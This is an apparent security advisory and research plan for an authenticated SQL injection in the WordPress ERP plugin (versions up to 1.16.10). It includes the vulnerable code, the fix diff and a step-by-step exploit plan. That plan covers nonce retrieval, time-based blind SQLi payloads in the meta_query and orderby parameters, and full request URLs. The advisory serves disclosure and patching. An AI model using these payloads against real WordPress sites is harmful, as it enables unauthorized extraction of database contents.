ERP <= 1.16.10 - Authenticated (Crm agent+) SQL Injection
Description
The ERP plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.16.10 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with crm agent-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.16.11
Source Code
WordPress.org SVNThis research plan targets a SQL Injection vulnerability in the **ERP** plugin (Complete HR, Accounting & CRM Suite) affecting version **1.16.10** and below. ### 1. Vulnerability Summary The vulnerability exists in the `erp_get_peoples()` function within `includes/functions-people.php`. This functi…
Show full research plan
This research plan targets a SQL Injection vulnerability in the ERP plugin (Complete HR, Accounting & CRM Suite) affecting version 1.16.10 and below.
1. Vulnerability Summary
The vulnerability exists in the erp_get_peoples() function within includes/functions-people.php. This function is the core utility for retrieving "peoples" (contacts, customers, employees, vendors) across all ERP modules. The function fails to use $wpdb->prepare() or adequate escaping when processing the meta_query argument, allowing an attacker to inject arbitrary SQL into the WHERE clause.
2. Attack Vector Analysis
- Vulnerable Endpoint: The WordPress REST API. Specifically, endpoints that call
erp_get_peoples(). The most likely target is the CRM contacts listing:GET /wp-json/erp/v1/crm/contacts. - Vulnerable Parameter:
meta_query. Specifically the sub-parametersmeta_keyormeta_value. - Authentication Level: Authenticated users with CRM Agent permissions (
crm_agentrole) or higher. - Vulnerability Type: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
- Preconditions: The CRM module must be active (which is the default for this plugin).
3. Code Flow
- Entry Point: A REST API request is made to
/wp-json/erp/v1/crm/contacts. - Controller: The request is handled by a controller (likely
WeDevs\ERP\CRM\API\ContactsController) which extracts query parameters and passes them to a data-fetching function. - Data Fetcher: The controller calls
erp_crm_get_contacts()or directly callserp_get_peoples()inincludes/functions-people.php. - Vulnerable Sink:
erp_get_peoples()(Line 96 inincludes/functions-people.php):if ( $meta_query ) { $sql['join'][] = "LEFT JOIN $pepmeta_tb as people_meta on people.id = people_meta.`erp_people_id`"; $meta_key = isset( $meta_query['meta_key'] ) ? $meta_query['meta_key'] : ''; $meta_value = isset( $meta_query['meta_value'] ) ? $meta_query['meta_value'] : ''; $compare = isset( $meta_query['compare'] ) ? $meta_query['compare'] : '='; // INJECTION POINT: $meta_key and $meta_value are concatenated directly $sql['where'][] = "AND people_meta.meta_key='$meta_key' and people_meta.meta_value='$meta_value'"; } - Execution: The
$sql['where']array is imploded and appended to the final query string, which is then executed via$wpdb->get_results()without preparation (Line 228).
4. Nonce Acquisition Strategy
REST API exploitation requires a wp_rest nonce sent in the X-WP-Nonce header.
- Navigate to Dashboard: Login as a CRM Agent and navigate to
/wp-admin/admin.php?page=erp-crm. - Extract Nonce: The ERP plugin localizes several scripts. Use
browser_evalto find the nonce in thewpErpor similar global objects.- Potential Variable:
window.wpErp?.nonceorwindow.wpCRM?.nonce. - Fallback: Standard WordPress REST nonce:
browser_eval("wpApiSettings.nonce").
- Potential Variable:
5. Exploitation Strategy
We will perform a Time-Based Blind SQL Injection to verify the vulnerability.
- Setup CRM Agent: Ensure a user exists with the
crm_agentrole. - Baseline Request: Perform a normal GET request to the contacts endpoint to ensure it returns a 200 OK.
GET /wp-json/erp/v1/crm/contacts
- Payload Construction: Inject a
SLEEP()command via themeta_query[meta_key]parameter.- Payload:
any' OR (SELECT 1 FROM (SELECT SLEEP(5))x) -- - - Full URL:
/wp-json/erp/v1/crm/contacts?meta_query[meta_key]=any%27%20OR%20(SELECT%201%20FROM%20(SELECT%20SLEEP(5))x)%20--%20-&meta_query[meta_value]=1
- Payload:
- Execute Request: Use
http_requestwith theX-WP-Nonceheader. - Observe Response Time: If the response takes ~5 seconds, the injection is successful.
6. Test Data Setup
- Activate Plugin: Ensure
erpis active. - Activate CRM: Ensure the CRM module is enabled via ERP settings.
- Create User:
wp user create attacker attacker@example.com --role=erp_crm_agent --user_pass=password - Create Sample Contact: The query needs at least one contact to process logic in some versions.
# Use WP-CLI to create a contact if possible, or navigate via browser to create one.
7. Expected Results
- Baseline: Response time < 500ms.
- Exploit: Response time > 5000ms.
- HTTP Status: 200 OK (the injection is in the
WHEREclause of aSELECTquery, so it typically returns an empty set or a list of contacts).
8. Verification Steps
After the HTTP exploit, verify the lack of preparation in the source code:
- Check for Prepare:
grep -A 15 "if ( \$meta_query )" includes/functions-people.php - Confirm Sink: Verify that
$wpdb->get_resultsis called on the$final_queryvariable without aprepare()wrapper in the same file.
9. Alternative Approaches
If meta_query is not directly exposed via the REST API, test the orderby parameter in the same function:
- Vulnerable Line:
$sql_order_by = "ORDER BY $orderby $order";(Line 90). - Payload:
?orderby=(SELECT 1 FROM (SELECT SLEEP(5))x)
If /erp/v1/crm/contacts is not the correct route, check for:
/wp-json/erp/v1/hrm/employees(Requireserp_view_listcapability)./wp-json/erp/v1/accounting/v1/customers(Requires accounting access).
Any endpoint callingerp_get_peoples()will be vulnerable.
Summary
The ERP plugin for WordPress is vulnerable to SQL Injection via the erp_get_peoples() function due to a lack of parameter preparation and whitelisting. Authenticated attackers with CRM agent permissions can inject arbitrary SQL commands through parameters like meta_query or orderby via REST API endpoints, allowing for sensitive data extraction from the database.
Vulnerable Code
// includes/functions-people.php line 90 $sql_order_by = "ORDER BY $orderby $order"; // --- // includes/functions-people.php line 96 if ( $meta_query ) { $sql['join'][] = "LEFT JOIN $pepmeta_tb as people_meta on people.id = people_meta.`erp_people_id`"; $meta_key = isset( $meta_query['meta_key'] ) ? $meta_query['meta_key'] : ''; $meta_value = isset( $meta_query['meta_value'] ) ? $meta_query['meta_value'] : ''; $compare = isset( $meta_query['compare'] ) ? $meta_query['compare'] : '='; // INJECTION POINT: $meta_key and $meta_value are concatenated directly $sql['where'][] = "AND people_meta.meta_key='$meta_key' and people_meta.meta_value='$meta_value'"; }
Security Fix
@@ -61,6 +61,44 @@ if ( false === $items ) { extract( $args ); + // Whitelist allowed orderby columns to prevent SQL injection + $allowed_orderby = [ + 'id', + 'user_id', + 'first_name', + 'last_name', + 'company', + 'email', + 'phone', + 'mobile', + 'other', + 'website', + 'fax', + 'notes', + 'street_1', + 'street_2', + 'city', + 'state', + 'postal_code', + 'country', + 'currency', + 'life_stage', + 'contact_owner', + 'hash', + 'created_by', + 'created', + ]; + + if ( ! in_array( $orderby, $allowed_orderby, true ) ) { + $orderby = 'id'; + } + + // Whitelist allowed order directions to prevent SQL injection + $order = strtoupper( $order ); + if ( ! in_array( $order, [ 'ASC', 'DESC' ], true ) ) { + $order = 'DESC'; + } + $sql = []; $trashed_sql = $trashed ? '`deleted_at` is not null' : '`deleted_at` is null';
Exploit Outline
The exploit targets the erp_get_peoples() function, which is utilized by several REST API routes. An attacker needs an account with at least 'crm_agent' permissions. 1. Authenticate as a CRM Agent and retrieve a REST API nonce (X-WP-Nonce) from the WordPress dashboard (often located in the wpErp or wpApiSettings JavaScript globals). 2. Send a GET request to a vulnerable REST route, such as `/wp-json/erp/v1/crm/contacts`. 3. Include a payload in the `meta_query[meta_key]` or `orderby` parameters. For example, setting `meta_query[meta_key]` to `any' OR (SELECT 1 FROM (SELECT SLEEP(5))x) -- -` triggers a time-based blind SQL injection. 4. Observe the response latency; a significant delay (e.g., 5 seconds) confirms the vulnerability and successful execution of the injected SQL.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.